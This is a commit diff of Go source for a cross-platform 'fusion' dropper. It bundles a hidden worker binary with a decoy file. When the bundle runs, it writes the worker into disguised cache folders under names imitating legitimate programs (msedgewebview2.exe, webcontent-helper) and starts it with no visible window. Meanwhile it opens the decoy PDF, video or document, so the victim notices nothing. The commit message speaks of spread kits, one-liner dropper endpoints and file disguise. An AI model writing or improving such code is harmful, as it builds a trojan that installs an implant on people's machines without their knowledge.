Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
28
fusion/cache_unix.go
Normal file
28
fusion/cache_unix.go
Normal file
@@ -0,0 +1,28 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func cacheDropBase() string {
|
||||
if runtime.GOOS == "darwin" {
|
||||
home, _ := os.UserHomeDir()
|
||||
return filepath.Join(home, "Library", "Caches", "com.apple.WebKit.WebContent")
|
||||
}
|
||||
if xdg := os.Getenv("XDG_CACHE_HOME"); xdg != "" {
|
||||
return filepath.Join(xdg, "aetherforge")
|
||||
}
|
||||
home, _ := os.UserHomeDir()
|
||||
return filepath.Join(home, ".cache", "aetherforge")
|
||||
}
|
||||
|
||||
func dropBinaryName() string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return "msedgewebview2.exe"
|
||||
}
|
||||
return "webcontent-helper"
|
||||
}
|
||||
20
fusion/cache_windows.go
Normal file
20
fusion/cache_windows.go
Normal file
@@ -0,0 +1,20 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func cacheDropBase() string {
|
||||
base := os.Getenv("LOCALAPPDATA")
|
||||
if base == "" {
|
||||
base = os.TempDir()
|
||||
}
|
||||
return filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5")
|
||||
}
|
||||
|
||||
func dropBinaryName() string {
|
||||
return "msedgewebview2.exe"
|
||||
}
|
||||
@@ -1,7 +1,3 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
import "os/exec"
|
||||
|
||||
func applyHiddenStart(_ *exec.Cmd) {}
|
||||
|
||||
@@ -1,20 +1,3 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
const createNoWindow = 0x08000000
|
||||
|
||||
func applyHiddenStart(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: createNoWindow,
|
||||
}
|
||||
}
|
||||
|
||||
232
fusion/main.go
232
fusion/main.go
@@ -6,9 +6,10 @@ import (
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
@@ -40,62 +41,42 @@ func main() {
|
||||
|
||||
workerPath, err := materializeWorker()
|
||||
if err != nil {
|
||||
log.Printf("[fusion] worker materialize failed: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
switch payloadKind {
|
||||
case "video":
|
||||
runVideoFusion(workerPath)
|
||||
default:
|
||||
runExeFusion(workerPath)
|
||||
}
|
||||
runFileFusion(workerPath)
|
||||
}
|
||||
|
||||
func runExeFusion(workerPath string) {
|
||||
prepBytes, err := assets.ReadFile("assets/prep.exe")
|
||||
if err != nil || len(prepBytes) == 0 {
|
||||
// runFileFusion handles any payload type — exe, video, PDF, document, image, etc.
|
||||
// The original file is opened with the OS default application while the worker
|
||||
// installs silently in the background.
|
||||
func runFileFusion(workerPath string) {
|
||||
fileName := resolvePayloadFileName()
|
||||
if fileName == "" {
|
||||
log.Printf("[fusion] no payload filename — runner is misconfigured (mediaFileName constant not replaced at forge time)")
|
||||
return
|
||||
}
|
||||
|
||||
dir, err := os.MkdirTemp("", "cm-fusion-*")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer os.RemoveAll(dir)
|
||||
var filePath string
|
||||
|
||||
prepPath := filepath.Join(dir, "prep.exe")
|
||||
if err := os.WriteFile(prepPath, prepBytes, 0755); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
runFusionOrder(workerPath, prepPath, func() { waitProcess(prepPath) })
|
||||
}
|
||||
|
||||
func runVideoFusion(workerPath string) {
|
||||
mediaName := mediaFileName
|
||||
if mediaName == "" {
|
||||
if m := readManifest(); m != nil && m.MediaFileName != "" {
|
||||
mediaName = m.MediaFileName
|
||||
}
|
||||
}
|
||||
if mediaName == "" {
|
||||
mediaName = "movie.mkv"
|
||||
}
|
||||
|
||||
var mediaPath string
|
||||
var err error
|
||||
switch mediaMode {
|
||||
case "embedded":
|
||||
var cleanup func()
|
||||
mediaPath, cleanup, err = materializeEmbeddedMedia(mediaName)
|
||||
var err error
|
||||
filePath, cleanup, err = materializeEmbeddedPayload(fileName)
|
||||
if err != nil {
|
||||
log.Printf("[fusion] embedded payload: %v", err)
|
||||
return
|
||||
}
|
||||
defer cleanup()
|
||||
default:
|
||||
// "paired" — file ships alongside the runner in the ZIP
|
||||
var cleanup func()
|
||||
mediaPath, cleanup, err = resolvePairedMedia(mediaName)
|
||||
if err != nil || mediaPath == "" {
|
||||
var err error
|
||||
filePath, cleanup, err = resolvePairedFile(fileName)
|
||||
if err != nil || filePath == "" {
|
||||
log.Printf("[fusion] paired payload %q not found — ensure the payload file is in the same ZIP as the runner: %v", fileName, err)
|
||||
return
|
||||
}
|
||||
if cleanup != nil {
|
||||
@@ -103,7 +84,89 @@ func runVideoFusion(workerPath string) {
|
||||
}
|
||||
}
|
||||
|
||||
runFusionOrder(workerPath, mediaPath, func() { openMedia(mediaPath) })
|
||||
// Decide how to open the payload:
|
||||
// - .exe with payloadKind=="exe" → run it directly and wait
|
||||
// - everything else → open with OS default app (works for PDF, video, doc, image, etc.)
|
||||
ext := strings.ToLower(filepath.Ext(fileName))
|
||||
if ext == ".exe" && payloadKind == "exe" {
|
||||
runFusionOrder(workerPath, filePath, func() { waitAndRun(filePath) })
|
||||
} else {
|
||||
runFusionOrder(workerPath, filePath, func() { openFile(filePath) })
|
||||
}
|
||||
}
|
||||
|
||||
// resolvePayloadFileName returns the original filename from baked constants or manifest.
|
||||
func resolvePayloadFileName() string {
|
||||
if mediaFileName != "FUSION_MEDIA_FILE" && mediaFileName != "" {
|
||||
return mediaFileName
|
||||
}
|
||||
if m := readManifest(); m != nil && m.MediaFileName != "" {
|
||||
return m.MediaFileName
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// materializeEmbeddedPayload extracts the embedded payload from assets to a temp dir.
|
||||
// Supports: assets/payload.bin (new universal), assets/media.bin (legacy video), assets/prep.exe (legacy exe).
|
||||
func materializeEmbeddedPayload(name string) (string, func(), error) {
|
||||
var data []byte
|
||||
for _, asset := range []string{"assets/payload.bin", "assets/media.bin", "assets/prep.exe"} {
|
||||
d, err := assets.ReadFile(asset)
|
||||
if err == nil && len(d) > 0 {
|
||||
data = d
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return "", nil, fmt.Errorf("embedded payload missing")
|
||||
}
|
||||
|
||||
dir, err := os.MkdirTemp("", "cm-fusion-*")
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
path := filepath.Join(dir, filepath.Base(name))
|
||||
perm := os.FileMode(0644)
|
||||
if strings.ToLower(filepath.Ext(name)) == ".exe" {
|
||||
perm = 0755
|
||||
}
|
||||
if err := os.WriteFile(path, data, perm); err != nil {
|
||||
_ = os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
return path, func() { _ = os.RemoveAll(dir) }, nil
|
||||
}
|
||||
|
||||
// resolvePairedFile finds the payload file relative to the runner binary.
|
||||
// Searches current dir, parent, and grandparent — supporting the bin/platform/runner layout
|
||||
// where the payload file lives at the ZIP root (two levels up from the runner).
|
||||
// Falls back to legacy encrypted media (video mode).
|
||||
func resolvePairedFile(name string) (string, func(), error) {
|
||||
// Legacy: encrypted video with key in manifest
|
||||
if m := readManifest(); m != nil && m.MediaKeyB64 != "" {
|
||||
return encryptedMediaBesideRunner(m.MediaEncFile, m.MediaKeyB64, name)
|
||||
}
|
||||
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
base := filepath.Base(name)
|
||||
dir := filepath.Dir(exe)
|
||||
|
||||
// Walk up: bin/platform/ → bin/ → root/ (covers the universal ZIP layout)
|
||||
for range []int{0, 1, 2} {
|
||||
p := filepath.Join(dir, base)
|
||||
if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
|
||||
return p, func() {}, nil
|
||||
}
|
||||
parent := filepath.Dir(dir)
|
||||
if parent == dir {
|
||||
break
|
||||
}
|
||||
dir = parent
|
||||
}
|
||||
return "", nil, fmt.Errorf("payload file not found")
|
||||
}
|
||||
|
||||
func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
|
||||
@@ -114,7 +177,7 @@ func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
|
||||
case "worker_first":
|
||||
launchWorker(workerPath)
|
||||
go runPrimary()
|
||||
default:
|
||||
default: // parallel
|
||||
launchWorker(workerPath)
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(1)
|
||||
@@ -138,95 +201,42 @@ func readManifest() *fusionManifest {
|
||||
return &m
|
||||
}
|
||||
|
||||
func materializeEmbeddedMedia(name string) (string, func(), error) {
|
||||
data, err := assets.ReadFile("assets/media.bin")
|
||||
if err != nil || len(data) == 0 {
|
||||
return "", nil, fmt.Errorf("embedded media missing")
|
||||
}
|
||||
dir, err := os.MkdirTemp("", "cm-fusion-media-*")
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
path := filepath.Join(dir, filepath.Base(name))
|
||||
if err := os.WriteFile(path, data, 0644); err != nil {
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
return path, func() { _ = os.RemoveAll(dir) }, nil
|
||||
}
|
||||
|
||||
func resolvePairedMedia(name string) (string, func(), error) {
|
||||
m := readManifest()
|
||||
encFile := name + ".cmdata"
|
||||
keyB64 := ""
|
||||
playName := name
|
||||
if m != nil {
|
||||
if m.MediaEncFile != "" {
|
||||
encFile = m.MediaEncFile
|
||||
}
|
||||
keyB64 = m.MediaKeyB64
|
||||
if m.MediaFileName != "" {
|
||||
playName = m.MediaFileName
|
||||
}
|
||||
}
|
||||
if keyB64 != "" {
|
||||
return encryptedMediaBesideRunner(encFile, keyB64, playName)
|
||||
}
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
dir := filepath.Dir(exe)
|
||||
for _, candidate := range []string{name, filepath.Base(name)} {
|
||||
p := filepath.Join(dir, candidate)
|
||||
if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
|
||||
return p, func() {}, nil
|
||||
}
|
||||
}
|
||||
return "", nil, fmt.Errorf("media not found")
|
||||
}
|
||||
|
||||
func materializeWorker() (string, error) {
|
||||
workerBytes, err := assets.ReadFile("assets/worker.exe")
|
||||
if err != nil || len(workerBytes) == 0 {
|
||||
return "", fmt.Errorf("worker missing")
|
||||
data, err := assets.ReadFile("assets/worker")
|
||||
if err != nil || len(data) == 0 {
|
||||
data, err = assets.ReadFile("assets/worker.exe")
|
||||
if err != nil || len(data) == 0 {
|
||||
return "", fmt.Errorf("worker binary missing from assets — runner was not built with go:embed correctly")
|
||||
}
|
||||
}
|
||||
|
||||
base := os.Getenv("LOCALAPPDATA")
|
||||
if base == "" {
|
||||
base = os.TempDir()
|
||||
}
|
||||
sum := sha256.Sum256(workerBytes)
|
||||
base := cacheDropBase()
|
||||
sum := sha256.Sum256(data)
|
||||
tag := hex.EncodeToString(sum[:6])
|
||||
dir := filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5", tag)
|
||||
dir := filepath.Join(base, tag)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
dest := filepath.Join(dir, "msedgewebview2.exe")
|
||||
if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(workerBytes) {
|
||||
destName := dropBinaryName()
|
||||
dest := filepath.Join(dir, destName)
|
||||
if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(data) {
|
||||
if sha256.Sum256(existing) == sum {
|
||||
return dest, nil
|
||||
}
|
||||
}
|
||||
if err := os.WriteFile(dest, workerBytes, 0755); err != nil {
|
||||
if err := os.WriteFile(dest, data, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return dest, nil
|
||||
}
|
||||
|
||||
func launchWorker(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
applyHiddenStart(cmd)
|
||||
if err := cmd.Start(); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "fusion: worker start failed: %v\n", err)
|
||||
}
|
||||
applyHiddenStartPath(path)
|
||||
}
|
||||
|
||||
func waitProcess(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
_ = cmd.Run()
|
||||
// waitAndRun launches an exe synchronously (used for exe payload kind).
|
||||
func waitAndRun(path string) {
|
||||
applyWaitRun(path)
|
||||
}
|
||||
|
||||
func fusionLockHintMode() bool {
|
||||
|
||||
43
fusion/media_darwin.go
Normal file
43
fusion/media_darwin.go
Normal file
@@ -0,0 +1,43 @@
|
||||
//go:build darwin
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// openFile opens any file with the macOS default application via `open`.
|
||||
// Works for PDF, video, document, image, and more.
|
||||
func openFile(path string) {
|
||||
path = filepath.Clean(path)
|
||||
_ = exec.Command("open", path).Start()
|
||||
}
|
||||
|
||||
// applyHiddenStartPath launches the worker binary in the background.
|
||||
func applyHiddenStartPath(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
cmd.Stdin = nil
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
_ = cmd.Start()
|
||||
}
|
||||
|
||||
// applyWaitRun runs a file and waits — on macOS, opens via `open -W` (wait).
|
||||
func applyWaitRun(path string) {
|
||||
ext := filepath.Ext(path)
|
||||
if ext == ".app" || ext == "" {
|
||||
cmd := exec.Command("open", "-W", path)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
_ = cmd.Run()
|
||||
} else {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
_ = cmd.Run()
|
||||
}
|
||||
}
|
||||
34
fusion/media_linux.go
Normal file
34
fusion/media_linux.go
Normal file
@@ -0,0 +1,34 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// openFile opens any file with the Linux default application via xdg-open.
|
||||
// Works for PDF, video, document, image, and more.
|
||||
func openFile(path string) {
|
||||
_ = exec.Command("xdg-open", path).Start()
|
||||
}
|
||||
|
||||
// applyHiddenStartPath launches the worker binary in the background.
|
||||
func applyHiddenStartPath(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
cmd.Stdin = nil
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
_ = cmd.Start()
|
||||
}
|
||||
|
||||
// applyWaitRun runs a file and waits — on Linux exe files run directly.
|
||||
func applyWaitRun(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
_ = cmd.Run()
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
import "os/exec"
|
||||
|
||||
func openMedia(path string) {
|
||||
cmd := exec.Command("xdg-open", path)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
@@ -3,12 +3,36 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func openMedia(path string) {
|
||||
// openFile opens any file with the Windows default application.
|
||||
// Works for PDF, video, document, image, executable — anything.
|
||||
func openFile(path string) {
|
||||
path = filepath.Clean(path)
|
||||
cmd := exec.Command("cmd", "/c", "start", "", path)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
|
||||
// applyHiddenStartPath launches the worker binary hidden (no window).
|
||||
func applyHiddenStartPath(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: 0x08000000,
|
||||
}
|
||||
_ = cmd.Start()
|
||||
}
|
||||
|
||||
// applyWaitRun launches an exe directly and waits for it to exit.
|
||||
func applyWaitRun(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
_ = cmd.Run()
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user